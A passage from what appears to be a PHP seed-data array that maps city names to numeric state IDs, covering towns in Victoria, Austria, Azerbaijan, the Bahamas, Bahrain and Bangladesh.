'melbourne'],\n ['state_id' => '273', 'name' => 'melton'],\n ['state_id' => '273', 'name' => 'middle park'],\n ['state_id' => '273', 'name' => 'mildura'],\n ['state_id' => '273', 'name' => 'mitcham'],\n ['state_id' => '273', 'name' => 'moe-yallourn'],\n ['state_id' => '273', 'name' => 'moorabbin'],\n ['state_id' => '273', 'name' => 'mordialloc'],\n ['state_id' => '273', 'name' => 'morwell'],\n ['state_id' => '273', 'name' => 'mulgrave'],\n ['state_id' => '273', 'name' => 'murrumbeena'],\n ['state_id' => '273', 'name' => 'neerim south'],\n ['state_id' => '273', 'name' => 'noble park north'],\n ['state_id' => '273', 'name' => 'notting hill'],\n ['state_id' => '273', 'name' => 'oak park'],\n ['state_id' => '273', 'name' => 'ocean grove-barwon heads'],\n ['state_id' => '273', 'name' => 'olinda'],\n ['state_id' => '273', 'name' => 'pakenham'],\n ['state_id' => '273', 'name' => 'park orchards'],\n ['state_id' => '273', 'name' => 'port melbourne'],\n ['state_id' => '273', 'name' => 'portland'],\n ['state_id' => '273', 'name' => 'prahran'],\n ['state_id' => '273', 'name' => 'preston'],\n ['state_id' => '273', 'name' => 'pritbourne'],\n ['state_id' => '273', 'name' => 'queenscliff'],\n ['state_id' => '273', 'name' => 'reservoir'],\n ['state_id' => '273', 'name' => 'ringwood'],\n ['state_id' => '273', 'name' => 'rowville'],\n ['state_id' => '273', 'name' => 'sale'],\n ['state_id' => '273', 'name' => 'sandringham'],\n ['state_id' => '273', 'name' => 'scoresby'],\n ['state_id' => '273', 'name' => 'sebastopol'],\n ['state_id' => '273', 'name' => 'seymour'],\n ['state_id' => '273', 'name' => 'shepparton-mooroopna'],\n ['state_id' => '273', 'name' => 'somerville'],\n ['state_id' => '273', 'name' => 'south yarra'],\n ['state_id' => '273', 'name' => 'southbank'],\n ['state_id' => '273', 'name' => 'st. albans'],\n ['state_id' => '273', 'name' => 'st. kilda east'],\n ['state_id' => '273', 'name' => 'stawell'],\n ['state_id' => '273', 'name' => 'sunbury'],\n ['state_id' => '273', 'name' => 'sunshine west'],\n ['state_id' => '273', 'name' => 'swan hill'],\n ['state_id' => '273', 'name' => 'tatura'],\n ['state_id' => '273', 'name' => 'thomastown'],\n ['state_id' => '273', 'name' => 'thornbury'],\n ['state_id' => '273', 'name' => 'tongala'],\n ['state_id' => '273', 'name' => 'torquay'],\n ['state_id' => '273', 'name' => 'traralgon'],\n ['state_id' => '273', 'name' => 'tullamarine'],\n ['state_id' => '273', 'name' => 'vermont'],\n ['state_id' => '273', 'name' => 'wangaratta'],\n ['state_id' => '273', 'name' => 'wantirna'],\n ['state_id' => '273', 'name' => 'warragul'],\n ['state_id' => '273', 'name' => 'warrnambool'],\n ['state_id' => '273', 'name' => 'welshpool'],\n ['state_id' => '273', 'name' => 'wendouree'],\n ['state_id' => '273', 'name' => 'wonthaggi'],\n ['state_id' => '273', 'name' => 'woodend'],\n ['state_id' => '273', 'name' => 'yarrawonga-mulwala'],\n ['state_id' => '273', 'name' => 'yea'],\n ['state_id' => '276', 'name' => 'wheeler'],\n ['state_id' => '280', 'name' => 'eisenstadt'],\n ['state_id' => '280', 'name' => 'grobpetersdorf'],\n ['state_id' => '280', 'name' => 'jennersdorf'],\n ['state_id' => '280', 'name' => 'kemeten'],\n ['state_id' => '280', 'name' => 'mattersburg'],\n ['state_id' => '280', 'name' => 'neudorfl'],\n ['state_id' => '280', 'name' => 'neusiedl am see'],\n ['state_id' => '280', 'name' => 'oberwart'],\n ['state_id' => '280', 'name' => 'pinkafeld'],\n ['state_id' => '280', 'name' => 'rust'],\n ['state_id' => '281', 'name' => 'maria rain'],\n ['state_id' => '281', 'name' => 'poggersdorf'],\n ['state_id' => '282', 'name' => 'althofen'],\n ['state_id' => '282', 'name' => 'arnoldstein'],\n ['state_id' => '282', 'name' => 'bad sankt leonhard'],\n ['state_id' => '282', 'name' => 'bleiburg'],\n ['state_id' => '282', 'name' => 'ebenthal'],\n ['state_id' => '282', 'name' => 'eberndorf'],\n ['state_id' => '282', 'name' => 'feldkirchen'],\n ['state_id' => '282', 'name' => 'ferlach'],\n ['state_id' => '282', 'name' => 'finkenstein'],\n ['state_id' => '282', 'name' => 'friesach'],\n ['state_id' => '282', 'name' => 'hermagor'],\n ['state_id' => '282', 'name' => 'klagenfurt'],\n ['state_id' => '282', 'name' => 'klagenfurt '],\n ['state_id' => '282', 'name' => 'lohnsburg'],\n ['state_id' => '282', 'name' => 'moosburg'],\n ['state_id' => '282', 'name' => 'paternion'],\n ['state_id' => '282', 'name' => 'radentheim'],\n ['state_id' => '282', 'name' => 'sankt andra'],\n ['state_id' => '282', 'name' => 'sankt jakob'],\n ['state_id' => '282', 'name' => 'sankt veit'],\n ['state_id' => '282', 'name' => 'seeboden'],\n ['state_id' => '282', 'name' => 'spittal'],\n ['state_id' => '282', 'name' => 'velden am worthersee'],\n ['state_id' => '282', 'name' => 'villach'],\n ['state_id' => '282', 'name' => 'volkermarkt'],\n ['state_id' => '282', 'name' => 'wernberg'],\n ['state_id' => '282', 'name' => 'wolfsberg'],\n ['state_id' => '285', 'name' => 'amstetten'],\n ['state_id' => '285', 'name' => 'bad voslau'],\n ['state_id' => '285', 'name' => 'baden'],\n ['state_id' => '285', 'name' => 'berndorf'],\n ['state_id' => '285', 'name' => 'boheimkirchen'],\n ['state_id' => '285', 'name' => 'bruck an der leitha'],\n ['state_id' => '285', 'name' => 'brunn'],\n ['state_id' => '285', 'name' => 'deutsch-wagram'],\n ['state_id' => '285', 'name' => 'ebreichsdorf'],\n ['state_id' => '285', 'name' => 'eggendorf'],\n ['state_id' => '285', 'name' => 'fischamend'],\n ['state_id' => '285', 'name' => 'gablitz'],\n ['state_id' => '285', 'name' => 'ganserndorf'],\n ['state_id' => '285', 'name' => 'gerasdorf'],\n ['state_id' => '285', 'name' => 'gloggnitz'],\n ['state_id' => '285', 'name' => 'gmund'],\n ['state_id' => '285', 'name' => 'greifenstein'],\n ['state_id' => '285', 'name' => 'grob-enzersdorf'],\n ['state_id' => '285', 'name' => 'grob-gerungs'],\n ['state_id' => '285', 'name' => 'guntramsdorf'],\n ['state_id' => '285', 'name' => 'haag'],\n ['state_id' => '285', 'name' => 'hainburg'],\n ['state_id' => '285', 'name' => 'heidenreichstein'],\n ['state_id' => '285', 'name' => 'herzogenburg'],\n ['state_id' => '285', 'name' => 'himberg'],\n ['state_id' => '285', 'name' => 'hollabrunn'],\n ['state_id' => '285', 'name' => 'horn'],\n ['state_id' => '285', 'name' => 'klosterneuburg'],\n ['state_id' => '285', 'name' => 'korneuburg'],\n ['state_id' => '285', 'name' => 'kottingbrunn'],\n ['state_id' => '285', 'name' => 'krems'],\n ['state_id' => '285', 'name' => 'laa'],\n ['state_id' => '285', 'name' => 'langenlois'],\n ['state_id' => '285', 'name' => 'langenzersdorf'],\n ['state_id' => '285', 'name' => 'leobendorf'],\n ['state_id' => '285', 'name' => 'leopoldsdorf'],\n ['state_id' => '285', 'name' => 'lilienfeld'],\n ['state_id' => '285', 'name' => 'loipersdorf'],\n ['state_id' => '285', 'name' => 'maria enzersdorf'],\n ['state_id' => '285', 'name' => 'melk'],\n ['state_id' => '285', 'name' => 'mistelbach'],\n ['state_id' => '285', 'name' => 'modling'],\n ['state_id' => '285', 'name' => 'neulengbach'],\n ['state_id' => '285', 'name' => 'neunkirchen'],\n ['state_id' => '285', 'name' => 'niederleis'],\n ['state_id' => '285', 'name' => 'ober-grabendorf'],\n ['state_id' => '285', 'name' => 'perchtoldsdorf'],\n ['state_id' => '285', 'name' => 'pernitz'],\n ['state_id' => '285', 'name' => 'pottendorf'],\n ['state_id' => '285', 'name' => 'poysdorf'],\n ['state_id' => '285', 'name' => 'pressbaum'],\n ['state_id' => '285', 'name' => 'purgstall'],\n ['state_id' => '285', 'name' => 'purkersdorf'],\n ['state_id' => '285', 'name' => 'reichenau'],\n ['state_id' => '285', 'name' => 'retz'],\n ['state_id' => '285', 'name' => 'sankt andra-wordern'],\n ['state_id' => '285', 'name' => 'sankt peter in der au'],\n ['state_id' => '285', 'name' => 'sankt polten'],\n ['state_id' => '285', 'name' => 'sankt valentin'],\n ['state_id' => '285', 'name' => 'scheibbs'],\n ['state_id' => '285', 'name' => 'schrems'],\n ['state_id' => '285', 'name' => 'schwechat'],\n ['state_id' => '285', 'name' => 'seitenstetten'],\n ['state_id' => '285', 'name' => 'sollenau'],\n ['state_id' => '285', 'name' => 'stockerau'],\n ['state_id' => '285', 'name' => 'strasshof'],\n ['state_id' => '285', 'name' => 'ternitz'],\n ['state_id' => '285', 'name' => 'traiskirchen'],\n ['state_id' => '285', 'name' => 'traismauer'],\n ['state_id' => '285', 'name' => 'tulln'],\n ['state_id' => '285', 'name' => 'vosendorf'],\n ['state_id' => '285', 'name' => 'waidhofen'],\n ['state_id' => '285', 'name' => 'wiener neudorf'],\n ['state_id' => '285', 'name' => 'wiener neustadt'],\n ['state_id' => '285', 'name' => 'wieselburg'],\n ['state_id' => '285', 'name' => 'wilhelmsburg'],\n ['state_id' => '285', 'name' => 'wolkersdorf'],\n ['state_id' => '285', 'name' => 'ybbs'],\n ['state_id' => '285', 'name' => 'ybbsitz'],\n ['state_id' => '285', 'name' => 'zistersdorf'],\n ['state_id' => '285', 'name' => 'zwettl'],\n ['state_id' => '286', 'name' => 'alkoven'],\n ['state_id' => '286', 'name' => 'altheim'],\n ['state_id' => '286', 'name' => 'altmunster'],\n ['state_id' => '286', 'name' => 'andorf'],\n ['state_id' => '286', 'name' => 'ansfelden'],\n ['state_id' => '286', 'name' => 'asten'],\n ['state_id' => '286', 'name' => 'attnang-puchheim'],\n ['state_id' => '286', 'name' => 'aurolzmunster'],\n ['state_id' => '286', 'name' => 'bad goisern'],\n ['state_id' => '286', 'name' => 'bad hall'],\n ['state_id' => '286', 'name' => 'bad ischl'],\n ['state_id' => '286', 'name' => 'braunau'],\n ['state_id' => '286', 'name' => 'breitenfurt'],\n ['state_id' => '286', 'name' => 'ebensee'],\n ['state_id' => '286', 'name' => 'eferding'],\n ['state_id' => '286', 'name' => 'engerwitzdorf'],\n ['state_id' => '286', 'name' => 'enns'],\n ['state_id' => '286', 'name' => 'feldkirchen an der donau'],\n ['state_id' => '286', 'name' => 'frankenburg'],\n ['state_id' => '286', 'name' => 'freistadt'],\n ['state_id' => '286', 'name' => 'gallneukirchen'],\n ['state_id' => '286', 'name' => 'garsten'],\n ['state_id' => '286', 'name' => 'gmunden'],\n ['state_id' => '286', 'name' => 'gramastetten'],\n ['state_id' => '286', 'name' => 'grieskirchen'],\n ['state_id' => '286', 'name' => 'gunskirchen'],\n ['state_id' => '286', 'name' => 'horsching'],\n ['state_id' => '286', 'name' => 'kirchdorf an der krems'],\n ['state_id' => '286', 'name' => 'kremsmunster'],\n ['state_id' => '286', 'name' => 'krenglbach'],\n ['state_id' => '286', 'name' => 'laakirchen'],\n ['state_id' => '286', 'name' => 'lenzing'],\n ['state_id' => '286', 'name' => 'leonding'],\n ['state_id' => '286', 'name' => 'linz'],\n ['state_id' => '286', 'name' => 'loibichl'],\n ['state_id' => '286', 'name' => 'marchtrenk'],\n ['state_id' => '286', 'name' => 'mattighofen'],\n ['state_id' => '286', 'name' => 'mauthausen'],\n ['state_id' => '286', 'name' => 'micheldorf'],\n ['state_id' => '286', 'name' => 'neuhofen an der krems'],\n ['state_id' => '286', 'name' => 'ohlsdorf'],\n ['state_id' => '286', 'name' => 'ottensheim'],\n ['state_id' => '286', 'name' => 'pasching'],\n ['state_id' => '286', 'name' => 'perg'],\n ['state_id' => '286', 'name' => 'pettenbach'],\n ['state_id' => '286', 'name' => 'pram'],\n ['state_id' => '286', 'name' => 'pregarten'],\n ['state_id' => '286', 'name' => 'puchenau'],\n ['state_id' => '286', 'name' => 'regau'],\n ['state_id' => '286', 'name' => 'ried'],\n ['state_id' => '286', 'name' => 'rohrbach in oberosterreich'],\n ['state_id' => '286', 'name' => 'rutzenmoos'],\n ['state_id' => '286', 'name' => 'sankt florian'],\n ['state_id' => '286', 'name' => 'sankt georgen'],\n ['state_id' => '286', 'name' => 'sankt marien'],\n ['state_id' => '286', 'name' => 'scharding'],\n ['state_id' => '286', 'name' => 'scharnstein'],\n ['state_id' => '286', 'name' => 'schwertberg'],\n ['state_id' => '286', 'name' => 'seewalchen'],\n ['state_id' => '286', 'name' => 'sierning'],\n ['state_id' => '286', 'name' => 'stadl-paura'],\n ['state_id' => '286', 'name' => 'steyr'],\n ['state_id' => '286', 'name' => 'steyregg'],\n ['state_id' => '286', 'name' => 'steyrermuhl'],\n ['state_id' => '286', 'name' => 'thalheim'],\n ['state_id' => '286', 'name' => 'timelkam'],\n ['state_id' => '286', 'name' => 'traun'],\n ['state_id' => '286', 'name' => 'vocklabruck'],\n ['state_id' => '286', 'name' => 'vocklamarkt'],\n ['state_id' => '286', 'name' => 'vorchdorf'],\n ['state_id' => '286', 'name' => 'wels'],\n ['state_id' => '286', 'name' => 'wilhering'],\n ['state_id' => '287', 'name' => 'abtenau'],\n ['state_id' => '287', 'name' => 'anif'],\n ['state_id' => '287', 'name' => 'bad gastein'],\n ['state_id' => '287', 'name' => 'bad hofgastein'],\n ['state_id' => '287', 'name' => 'bergheim'],\n ['state_id' => '287', 'name' => 'bischofshofen'],\n ['state_id' => '287', 'name' => 'bruck an der grobglocknerstrab'],\n ['state_id' => '287', 'name' => 'burmoos'],\n ['state_id' => '287', 'name' => 'elsbethen'],\n ['state_id' => '287', 'name' => 'eugendorf'],\n ['state_id' => '287', 'name' => 'forstau'],\n ['state_id' => '287', 'name' => 'grodig'],\n ['state_id' => '287', 'name' => 'hallein'],\n ['state_id' => '287', 'name' => 'hallwang'],\n ['state_id' => '287', 'name' => 'henndorf'],\n ['state_id' => '287', 'name' => 'kuchl'],\n ['state_id' => '287', 'name' => 'mayrhofen'],\n ['state_id' => '287', 'name' => 'mittersill'],\n ['state_id' => '287', 'name' => 'neumarkt'],\n ['state_id' => '287', 'name' => 'oberndorf'],\n ['state_id' => '287', 'name' => 'obertrum am see'],\n ['state_id' => '287', 'name' => 'piesendorf'],\n ['state_id' => '287', 'name' => 'puch'],\n ['state_id' => '287', 'name' => 'radstadt'],\n ['state_id' => '287', 'name' => 'saalfelden'],\n ['state_id' => '287', 'name' => 'salzburg'],\n ['state_id' => '287', 'name' => 'sankt johann im pongau'],\n ['state_id' => '287', 'name' => 'seekirchen'],\n ['state_id' => '287', 'name' => 'sieghartskirchen'],\n ['state_id' => '287', 'name' => 'strabwalchen'],\n ['state_id' => '287', 'name' => 'strobl'],\n ['state_id' => '287', 'name' => 'tamsweg'],\n ['state_id' => '287', 'name' => 'thalgau'],\n ['state_id' => '287', 'name' => 'wals-siezenheim'],\n ['state_id' => '287', 'name' => 'wolfgangsee'],\n ['state_id' => '287', 'name' => 'zell am see'],\n ['state_id' => '288', 'name' => 'albersdorf'],\n ['state_id' => '289', 'name' => 'bad aussee'],\n ['state_id' => '289', 'name' => 'barnbach'],\n ['state_id' => '289', 'name' => 'bruck an der mur'],\n ['state_id' => '289', 'name' => 'deutschlandsberg'],\n ['state_id' => '289', 'name' => 'eisenerz'],\n ['state_id' => '289', 'name' => 'feldbach'],\n ['state_id' => '289', 'name' => 'feldkirchen bei graz'],\n ['state_id' => '289', 'name' => 'fohnsdorf'],\n ['state_id' => '289', 'name' => 'frohnleiten'],\n ['state_id' => '289', 'name' => 'furstenfeld'],\n ['state_id' => '289', 'name' => 'gleisdorf'],\n ['state_id' => '289', 'name' => 'gratkorn'],\n ['state_id' => '289', 'name' => 'graz'],\n ['state_id' => '289', 'name' => 'hartberg'],\n ['state_id' => '289', 'name' => 'judenburg'],\n ['state_id' => '289', 'name' => 'judendorf-strabengel'],\n ['state_id' => '289', 'name' => 'kapfenberg'],\n ['state_id' => '289', 'name' => 'karlsdorf'],\n ['state_id' => '289', 'name' => 'kindberg'],\n ['state_id' => '289', 'name' => 'knittelfeld'],\n ['state_id' => '289', 'name' => 'koflach'],\n ['state_id' => '289', 'name' => 'krieglach'],\n ['state_id' => '289', 'name' => 'lannach'],\n ['state_id' => '289', 'name' => 'leibnitz'],\n ['state_id' => '289', 'name' => 'leoben'],\n ['state_id' => '289', 'name' => 'liezen'],\n ['state_id' => '289', 'name' => 'murzzuschlag'],\n ['state_id' => '289', 'name' => 'rottenmann'],\n ['state_id' => '289', 'name' => 'schladming'],\n ['state_id' => '289', 'name' => 'seiersberg'],\n ['state_id' => '289', 'name' => 'spielberg'],\n ['state_id' => '289', 'name' => 'trofaiach'],\n ['state_id' => '289', 'name' => 'voitsberg'],\n ['state_id' => '289', 'name' => 'wagna'],\n ['state_id' => '289', 'name' => 'weiz'],\n ['state_id' => '289', 'name' => 'zeltweg'],\n ['state_id' => '290', 'name' => 'deutschfeistritz'],\n ['state_id' => '290', 'name' => 'liezen'],\n ['state_id' => '290', 'name' => 'sankt bartholoma'],\n ['state_id' => '291', 'name' => 'absam'],\n ['state_id' => '291', 'name' => 'axams'],\n ['state_id' => '291', 'name' => 'ebbs'],\n ['state_id' => '291', 'name' => 'fugen'],\n ['state_id' => '291', 'name' => 'hall'],\n ['state_id' => '291', 'name' => 'haselgehr'],\n ['state_id' => '291', 'name' => 'hopfgarten'],\n ['state_id' => '291', 'name' => 'imst'],\n ['state_id' => '291', 'name' => 'innsbruck'],\n ['state_id' => '291', 'name' => 'jenbach'],\n ['state_id' => '291', 'name' => 'kirchberg'],\n ['state_id' => '291', 'name' => 'kirchbichl'],\n ['state_id' => '291', 'name' => 'kitzbuhel'],\n ['state_id' => '291', 'name' => 'kramsach'],\n ['state_id' => '291', 'name' => 'kufstein'],\n ['state_id' => '291', 'name' => 'landeck'],\n ['state_id' => '291', 'name' => 'lienz'],\n ['state_id' => '291', 'name' => 'matrei'],\n ['state_id' => '291', 'name' => 'neustift im stubaital'],\n ['state_id' => '291', 'name' => 'reutte'],\n ['state_id' => '291', 'name' => 'rum'],\n ['state_id' => '291', 'name' => 'sankt johann in tirol'],\n ['state_id' => '291', 'name' => 'scheffau'],\n ['state_id' => '291', 'name' => 'schwaz'],\n ['state_id' => '291', 'name' => 'st. johann am walde'],\n ['state_id' => '291', 'name' => 'telfs'],\n ['state_id' => '291', 'name' => 'vols'],\n ['state_id' => '291', 'name' => 'vomp'],\n ['state_id' => '291', 'name' => 'wattens'],\n ['state_id' => '291', 'name' => 'worgl'],\n ['state_id' => '291', 'name' => 'zirl'],\n ['state_id' => '293', 'name' => 'altach'],\n ['state_id' => '293', 'name' => 'bludenz'],\n ['state_id' => '293', 'name' => 'bregenz'],\n ['state_id' => '293', 'name' => 'chassieu'],\n ['state_id' => '293', 'name' => 'dietmannsried'],\n ['state_id' => '293', 'name' => 'dornbirn'],\n ['state_id' => '293', 'name' => 'feldkirch'],\n ['state_id' => '293', 'name' => 'frastanz'],\n ['state_id' => '293', 'name' => 'gotzis'],\n ['state_id' => '293', 'name' => 'hard'],\n ['state_id' => '293', 'name' => 'hochst'],\n ['state_id' => '293', 'name' => 'hohenems'],\n ['state_id' => '293', 'name' => 'horbranz'],\n ['state_id' => '293', 'name' => 'hufingen'],\n ['state_id' => '293', 'name' => 'lauterach'],\n ['state_id' => '293', 'name' => 'lochau'],\n ['state_id' => '293', 'name' => 'lustenau'],\n ['state_id' => '293', 'name' => 'mittelberg'],\n ['state_id' => '293', 'name' => 'nenzing'],\n ['state_id' => '293', 'name' => 'nuziders'],\n ['state_id' => '293', 'name' => 'rankweil'],\n ['state_id' => '293', 'name' => 'schruns'],\n ['state_id' => '293', 'name' => 'thuringen'],\n ['state_id' => '293', 'name' => 'wolfurt'],\n ['state_id' => '294', 'name' => 'vienna'],\n ['state_id' => '294', 'name' => 'wien'],\n ['state_id' => '295', 'name' => 'alat'],\n ['state_id' => '295', 'name' => 'artyom'],\n ['state_id' => '295', 'name' => 'baki'],\n ['state_id' => '295', 'name' => 'bakixanov'],\n ['state_id' => '295', 'name' => 'balaxani'],\n ['state_id' => '295', 'name' => 'bilacari'],\n ['state_id' => '295', 'name' => 'bilqax'],\n ['state_id' => '295', 'name' => 'bina'],\n ['state_id' => '295', 'name' => 'buzovna'],\n ['state_id' => '295', 'name' => 'haci zeynalabdin'],\n ['state_id' => '295', 'name' => 'hovsan'],\n ['state_id' => '295', 'name' => 'lokbatan'],\n ['state_id' => '295', 'name' => 'mastaga'],\n ['state_id' => '295', 'name' => 'puta'],\n ['state_id' => '295', 'name' => 'qarasuxur'],\n ['state_id' => '295', 'name' => 'qobustan'],\n ['state_id' => '295', 'name' => 'rasulzada'],\n ['state_id' => '295', 'name' => 'sabuncu'],\n ['state_id' => '295', 'name' => 'sanqacal'],\n ['state_id' => '295', 'name' => 'sumqayit'],\n ['state_id' => '295', 'name' => 'suraxani'],\n ['state_id' => '295', 'name' => 'xirdalan'],\n ['state_id' => '295', 'name' => 'zirya'],\n ['state_id' => '297', 'name' => 'daskasan'],\n ['state_id' => '297', 'name' => 'ganca'],\n ['state_id' => '297', 'name' => 'xanlar'],\n ['state_id' => '298', 'name' => 'ganja'],\n ['state_id' => '299', 'name' => 'cabrayil'],\n ['state_id' => '299', 'name' => 'kalbacar'],\n ['state_id' => '299', 'name' => 'lacin'],\n ['state_id' => '300', 'name' => 'astara'],\n ['state_id' => '300', 'name' => 'goytapa'],\n ['state_id' => '300', 'name' => 'lankaran'],\n ['state_id' => '300', 'name' => 'masalli'],\n ['state_id' => '300', 'name' => 'neftcala'],\n ['state_id' => '301', 'name' => 'agcabadi'],\n ['state_id' => '301', 'name' => 'agdam'],\n ['state_id' => '301', 'name' => 'barda'],\n ['state_id' => '301', 'name' => 'mingacevir'],\n ['state_id' => '301', 'name' => 'tartar'],\n ['state_id' => '301', 'name' => 'yevlax'],\n ['state_id' => '302', 'name' => 'ali bayramli'],\n ['state_id' => '302', 'name' => 'bilasuvar'],\n ['state_id' => '302', 'name' => 'calilabad'],\n ['state_id' => '302', 'name' => 'qarasu'],\n ['state_id' => '302', 'name' => 'qazimammad'],\n ['state_id' => '302', 'name' => 'saatli'],\n ['state_id' => '302', 'name' => 'sabirabad'],\n ['state_id' => '302', 'name' => 'salyan'],\n ['state_id' => '303', 'name' => 'susa'],\n ['state_id' => '303', 'name' => 'xankandi'],\n ['state_id' => '303', 'name' => 'xocavand'],\n ['state_id' => '304', 'name' => 'culfa'],\n ['state_id' => '304', 'name' => 'naxcivan'],\n ['state_id' => '304', 'name' => 'ordubad'],\n ['state_id' => '304', 'name' => 'sadarak'],\n ['state_id' => '304', 'name' => 'sarur'],\n ['state_id' => '305', 'name' => 'beylaqan'],\n ['state_id' => '305', 'name' => 'fuzuli'],\n ['state_id' => '305', 'name' => 'imisli'],\n ['state_id' => '306', 'name' => 'agstafa'],\n ['state_id' => '306', 'name' => 'gadabay'],\n ['state_id' => '306', 'name' => 'kovlar'],\n ['state_id' => '306', 'name' => 'qaracamirli'],\n ['state_id' => '306', 'name' => 'qazax'],\n ['state_id' => '306', 'name' => 'samkir'],\n ['state_id' => '306', 'name' => 'tovuz'],\n ['state_id' => '307', 'name' => 'amircan'],\n ['state_id' => '307', 'name' => 'balakan'],\n ['state_id' => '307', 'name' => 'katex'],\n ['state_id' => '307', 'name' => 'oguz'],\n ['state_id' => '307', 'name' => 'qabala'],\n ['state_id' => '307', 'name' => 'qax'],\n ['state_id' => '307', 'name' => 'saki'],\n ['state_id' => '307', 'name' => 'zaqatala'],\n ['state_id' => '308', 'name' => 'agdas'],\n ['state_id' => '308', 'name' => 'agsu'],\n ['state_id' => '308', 'name' => 'goycay'],\n ['state_id' => '308', 'name' => 'ismayilli'],\n ['state_id' => '308', 'name' => 'kurdamir'],\n ['state_id' => '308', 'name' => 'samaxi'],\n ['state_id' => '308', 'name' => 'ucar'],\n ['state_id' => '308', 'name' => 'zardab'],\n ['state_id' => '309', 'name' => 'davaci'],\n ['state_id' => '309', 'name' => 'quba'],\n ['state_id' => '309', 'name' => 'qusar'],\n ['state_id' => '309', 'name' => 'siyazan'],\n ['state_id' => '309', 'name' => 'xacmaz'],\n ['state_id' => '309', 'name' => 'xudat'],\n ['state_id' => '310', 'name' => 'coopers town'],\n ['state_id' => '310', 'name' => 'marsh harbour'],\n ['state_id' => '312', 'name' => 'andros town'],\n ['state_id' => '312', 'name' => 'nicholls town'],\n ['state_id' => '314', 'name' => 'alice town'],\n ['state_id' => '317', 'name' => 'freetown'],\n ['state_id' => '317', 'name' => 'rock sound'],\n ['state_id' => '322', 'name' => 'pirates well'],\n ['state_id' => '327', 'name' => '\\'isa'],\n ['state_id' => '328', 'name' => 'badiyah'],\n ['state_id' => '329', 'name' => 'hidd'],\n ['state_id' => '331', 'name' => 'mahama'],\n ['state_id' => '332', 'name' => 'manama'],\n ['state_id' => '333', 'name' => 'sitrah'],\n ['state_id' => '334', 'name' => 'al-manamah'],\n ['state_id' => '335', 'name' => 'al-muharraq'],\n ['state_id' => '336', 'name' => 'ar-rifa\\'a'],\n ['state_id' => '338', 'name' => 'bandarban'],\n ['state_id' => '339', 'name' => 'barguna'],\n ['state_id' => '340', 'name' => 'barisal'],\n ['state_id' => '340', 'name' => 'gaurnadi'],\n ['state_id' => '340', 'name' => 'mehendiganj'],\n ['state_id' => '340', 'name' => 'nalchiti'],\n ['state_id' => '341', 'name' => 'bhola'],\n ['state_id' => '341', 'name' => 'burhanuddin'],\n ['state_id' => '341', 'name' => 'char fasson'],\n ['state_id' => '341', 'name' => 'lalmohan'],\n ['state_id' => '342', 'name' => 'adamighi'],\n ['state_id' => '342', 'name' => 'bogora'],\n ['state_id' => '342', 'name' => 'sherpur'],\n ['state_id' => '344', 'name' => 'chandpur'],\n ['state_id' => '344', 'name' => 'hajiganj'],\n ['state_id' => '345', 'name' => 'boalkhali'],\n ['state_id' => '345', 'name' => 'chattagam'],\n ['state_id' => '345', 'name' => 'fatikchhari'],\n ['state_id' => '345', 'name' => 'lohagara'],\n ['state_id' => '345', 'name' => 'patiya'],\n ['state_id' => '345', 'name' => 'rangunia'],\n ['state_id' => '345', 'name' => 'raozan'],\n ['state_id' => '345', 'name' => 'sandip'],\n ['state_id' => '345', 'name' => 'satkaniya'],\n ['state_id' => '347', 'name' => 'alamdanga'],\n ['state_id' => '347', 'name' => 'chuadanga'],\n ['state_id' => '347', 'name' => 'damurhuda'],\n ['state_id' => '348', 'name' => 'dhaka'],\n ['state_id' => '348', 'name' => 'dhamrai'],\n ['state_id' => '348', 'name' => 'dohar'],\n ['state_id' => '349', 'name' => 'bochanganj'],\n ['state_id' => '349', 'name' => 'dinajpur'],\n ['state_id' => '349', 'name' => 'fulbari'],\n ['state_id' => '349', 'name' => 'parbatipur'],\n ['state_id' => '350', 'name' => 'bhanga'],\n ['state_id' => '350', 'name' => 'char bhadrasan'],\n ['state_id' => '350', 'name' => 'faridpur'],\n ['state_id' => '351', 'name' => 'chhagalnaiya'],\n ['state_id' => '351', 'name' => 'feni'],\n ['state_id' => '352', 'name' => 'gaybanda'],\n ['state_id' => '353', 'name' => 'gazipur'],\n ['state_id' => '353', 'name' => 'tungi'],\n ['state_id' => '354', 'name' => 'gopalganj'],\n ['state_id' => '354', 'name' => 'tungi para'],\n ['state_id' => '355', 'name' => 'baniachang'],\n ['state_id' => '355', 'name' => 'habiganj'],\n ['state_id' => '357', 'name' => 'jamalpur'],\n ['state_id' => '357', 'name' => 'sarishabari'],\n ['state_id' => '358', 'name' => 'abhaynagar'],\n ['state_id' => '358', 'name' => 'jessor'],\n ['state_id' => '358', 'name' => 'jhikargachha'],\n ['state_id' => '358', 'name' => 'keshabpur'],\n ['state_id' => '359', 'name' => 'jhalakati'],\n ['state_id' => '360', 'name' => 'jhanaydah'],\n ['state_id' => '360', 'name' => 'kaliganj'],\n ['state_id' => '360', 'name' => 'kotchandpur'],\n ['state_id' => '360', 'name' => 'shailkupa'],\n ['state_id' => '361', 'name' => 'khagrachari'],\n ['state_id' => '361', 'name' => 'manikchhari'],\n ['state_id' => '361', 'name' => 'ramgarh'],\n ['state_id' => '362', 'name' => 'khulna'],\n ['state_id' => '362', 'name' => 'phultala'],\n ['state_id' => '363', 'name' => 'bajitpur'],\n ['state_id' => '363', 'name' => 'bhairab bazar'],\n ['state_id' => '363', 'name' => 'itna'],\n ['state_id' => '363', 'name' => 'kishorganj'],\n ['state_id' => '365', 'name' => 'komilla'],\n ['state_id' => '365', 'name' => 'laksham'],\n ['state_id' => '366', 'name' => 'chilmari'],\n ['state_id' => '366', 'name' => 'kurigram'],\n ['state_id' => '366', 'name' => 'nageshwari'],\n ['state_id' => '366', 'name' => 'ulipur'],\n ['state_id' => '367', 'name' => 'bheramara'],\n ['state_id' => '367', 'name' => 'kushtiya'],\n ['state_id' => '368', 'name' => 'lakshmipur'],\n ['state_id' => '368', 'name' => 'ramganj'],\n ['state_id' => '368', 'name' => 'ramgati'],\n ['state_id' => '368', 'name' => 'raypur'],\n ['state_id' => '370', 'name' => 'madaripur'],\n ['state_id' => '371', 'name' => 'magura'],\n ['state_id' => '372', 'name' => 'bhaluka'],\n ['state_id' => '372', 'name' => 'fulbaria'],\n ['state_id' => '372', 'name' => 'gafargaon'],\n ['state_id' => '372', 'name' => 'ishwarganj'],\n ['state_id' => '372', 'name' => 'maimansingh'],\n ['state_id' => '372', 'name' => 'muktagachha'],\n ['state_id' => '372', 'name' => 'trishal'],\n ['state_id' => '373', 'name' => 'manikganj'],\n ['state_id' => '375', 'name' => 'meherpur'],\n ['state_id' => '376', 'name' => 'munshiganj'],\n ['state_id' => '377', 'name' => 'kalia'],\n ['state_id' => '377', 'name' => 'naral'],\n ['state_id' => '378', 'name' => 'narayanganj'],\n ['state_id' => '378', 'name' => 'rupganj'],\n ['state_id' => '379', 'name' => 'narsingdi'],\n 